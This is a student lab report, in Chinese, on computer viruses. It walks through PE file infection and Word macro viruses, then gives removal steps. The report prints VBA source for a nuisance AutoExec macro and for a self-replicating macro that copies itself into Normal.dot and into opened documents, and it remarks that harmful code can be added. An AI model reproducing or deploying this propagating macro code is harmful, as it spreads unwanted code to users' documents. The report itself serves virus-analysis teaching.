计算机病毒实验报告——windows病毒实验姓名:张艳秋学号:081300607班级:信安0802指导老师:韦俊银实验日期:2011.5.27实验内容1.PE文件感染实验(选)2.暴风一号病毒3.VBS病毒产生4.宏病毒实验(选)PE文件感染实验实验目的了解pe病毒的感染过程实验环境硬件设备PC机一台(建议虚拟机)软件工具OfficeWord2007实验步骤一:参照病毒感染PE文件的7个步骤,记录病毒是如何感染文件(文字和截屏形式)病毒感染文件过程(以感染文件ebookcode.exe为例):重定位,获得所有API地址:……通过软件Stud_PE可查看可执行文件ebookcode.exe的结构可查看文件内容:1.判断目标文件开始的两个字节是否为“MZ”:2.判断PE文件标记“PE”:3.判断感染标记,如果已被感染过则跳出继续执行宿主程序,否则继续:4.读取IMAGE_FILE_HEADER的NumberOfSections域,获得DataDirectory(数据目录)的个数,(每个数据目录信息占8个字节):5.得到节表起始位置。(数据目录的偏移地址+数据目录占用的字节数=节表起始位置):6.得到节表的末尾偏移(紧接其后用于写入一个新的病毒节信息)节表起始位置+节的个数*(每个节表占用的字节数28H)=节表的末尾偏移7.开始写入节表,感染文件:二:在掌握Stud_PE工具的基础上,比较文件感染前后有哪些变化。感染前:感染后:由上两图可以看出,感染前后有4处发生了变化:1:PE文件头中入口点:感染病毒后ebookedit.exe程序的入口点变成了病毒文件的入口点2:PointerToRawData域值,即该文件的偏移量发生了变化;3:imag的大小发生了变化;4:sections的数量发生了变化。由.exe文件感染前后变化可知,PE病毒感染过程即在文件中添加一个新节,把病毒代码和病毒执行后返回宿主程序的代码写入新添加的节中,同时修改PE文件头中入口点(AddressOfEntryPoint),使其指向新添加的病毒代码入口。程序染毒后运行结果:1:首先执行病毒程序:2:病毒代码执行完后执行宿主程序:三:针对病毒源代码,指出与感染PE文件步骤相对应的程序段1.判断目标文件开始的两个字节是否为“MZ”。leaeax,[ebx+offsetszMsg1]pusheaxcallSingleTest2.判断PE文件标记“PE”。3.判断感染标记,如果已被感染过则跳出继续执行宿主程序,否则继续。4.获得DataDirectory(数据目录)的个数,(每个数据目录信息占8个字节)。5.得到节表起始位置。(数据目录的偏移地址+数据目录占用的字节数=节表起始位置)6.得到节表的末尾偏移(紧接其后用于写入一个新的病毒节信息)节表起始位置+节的个数*(每个节表占用的字节数28H)=节表的末尾偏移。7.开始写入节表宏病毒实验目的了解Word宏语言,理解宏病毒的特点、共性及原理。学习人工发现宏病毒的方法及简单清除宏病毒方法。实验环境硬件设备PC机一台(建议虚拟机)软件工具OfficeWord2007受感染终端受感染Word文档被感染终端图1宏病毒传播示意图实验步骤Step1:新建Word文档并打开Step2:.点击word选项,选择“在功能区显示开发工具”选项勾选红色区域点击“开发工具”选项,点击“宏安全性”,点击“宏设置”,选择“启用所有宏”“信任对VBA工程对象模型的访问”Step3:创建宏,命名AutoExec编辑一些宏命名的作用:1.标准宏:AutoExec:启动Word时加载全局模板AutoNew:每次创建新文档AutoClose:在关闭文档时2.标准宏:FileSave:保存文件FileSaveAs:改名另存为文件FileOpen:打开文件Step4:编辑宏,语法上注意VBA版本保存(本实验采用的VBA6.3或以上版本)输入以下代码:SubAutoExec()Dimnm(4)MsgBox您好!我一直在等着您!try:OnErrorGoTo0OnErrorGoTotrytest=-1con=1tog$=i=0Whiletest=-1Fori=0To4nm(i)=Int(Rnd()*5)con=(con*nm(i))Ifi=4Thentog$=tog$+Str$(nm(4))+=?GoTobegEndIftog$=tog$+Str$(nm(i))+*Nextibeg:Beepans$=InputBox(今天是+Date$+号,跟你玩一个心算游戏+Chr$(13)+若你答错,只好接受震撼教育..............+Chr$(13)+tog$,台湾NO.1MacroVirus)IfRTrim$(LTrim$(ans$))=LTrim$(Str$(con))ThenMsgBox恭贺你答对了,按确定就告诉你想知道的....,台湾NO.1MacroVirusWordBasic.FileNewDefaultWordBasic.CenterParaBeepWordBasic.Insert如何预防巨集病毒WordBasic.InsertParaBeepWordBasic.Insert答案:WordBasic.Italic1WordBasic.Insert不要看我.....ElseForj=1To20BeepWordBasic.FileNewDefaultNextjWordBasic.CenterParaWordBasic.Insert巨集病毒GoTotryEndIfWendEndSub知识点:OFFICE程序和他们使用的语言:Word6.xWord7.xWordBasicOFFICE97VBA5.0OFFICE2kVBA6.0OFFICEXPVBA6.3Step5:关闭所有Word(必须)Step6:再次打开Word文档,宏病毒爆发弹出刚刚编写的msgbox窗口开始计算题代码程序回答12点击“确定”,重新出现计算窗口:如果算错,那么一次弹出20个窗口,直至资源耗尽Step7:启动任务管理器结束进程搜索winword.exe文件,并确定复制其位置Step8:启用CMD,定位winword位置:CdC:\ProgramFiles\MicrosoftOffice\Office12输入命令,用参数来打开安全模式winword.exe/a第一次安全模式第二次新建文档进行宏的打开设置来禁用宏Step9:搜索normal.dotm等模板文件,确定位置并删除那个文件夹下的所有模板Step10:简易摆脱宏完成思考题1.上述病毒示例使用了宏的哪些功能?修改病毒的哪些部分可能会使其变成具备较强破坏力的恶性病毒。宏病毒会感染DOC文档文件和DOT模板文件;打开时激活,通过Normal模板传播;通过AutoOpen,AutoClose,AutoNew和AutoExit等自动宏获得控制权;病毒宏中必然含有对文档读写操作的宏指令。修改宏代码中try语句中所要执行的代码,修改程序进行恶意感染。2.编写宏代码,在打开word文档时出现“HappyEveryDay!”的欢迎词。SubAutoExec()MsgBoxHappyEveryDay!EndSub3.验证下列宏代码的效果,对代码关键语句加以注释:打开一个word2003文档,然后按Alt+F11调用宏编写窗口(工具宏VisualBasic宏编辑器),在左侧的project—MicrosoftWord对象ThisDocument中输入以上代码,保存,此时当前word文档就含有宏病毒,只要下次打开这个word文档,就会执行以上代码,并将自身复制到Normal.dot(word文档的公共模板)和当前文档的ThisDocument中,同时改变函数名(模板中为Document_Close,当前文档为Document_Open),此时所有的word文档打开和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响word的正常使用。'Micro-VirusSubDocument_Open()//文件打开时调用OnErrorResumeNextApplication.DisplayStatusBar=FalseOptions.SaveNormalPrompt=False//打开文档,病毒并将自身复制到Normal.dot和当前文档的ThisDocument中Ourcode=ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1,100)SetHost=NormalTemplate.VBProject.VBComponents(1).CodeModule//同时改变函数名(模板中为Document_Close,当前文档为Document_Open),此时所有的word文档打开和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响word的正常使用IfThisDocument=NormalTemplateThenSetHost=ActiveDocument.VBProject.VBComponents(1).CodeModuleEndIfWithHostIf.Lines(1.1)'Micro-VirusThen.DeleteLines1,.CountOfLines.InsertLines1,Ourcode.ReplaceLine2,SubDocument_Close()//函数名中模板中为Document_CloseIfThisDocument=nomaltemplateThen.ReplaceLine2,SubDocument_Open()//函数名中当前文档为Document_OpenActiveDocument.SaveAsActiveDocument.FullNameEndIfEndIfEndWithMsgBoxMicroVirusbyContentSecurityLabEndSub4.根据宏病毒的特点和上述病毒示例,编写良性宏病毒程序,体会宏的运用。SubAutoExec()MsgBox欢迎使用!EndSub点击确定,即可继续使用word。在word中的宏是一个批处理功能,将常用的繁琐功能利用近似批处理的形式,运用编程实现,这样就可以通过执行一个宏而实现复杂的功能了。如果合理的运用宏,可以极大的提高工作效率。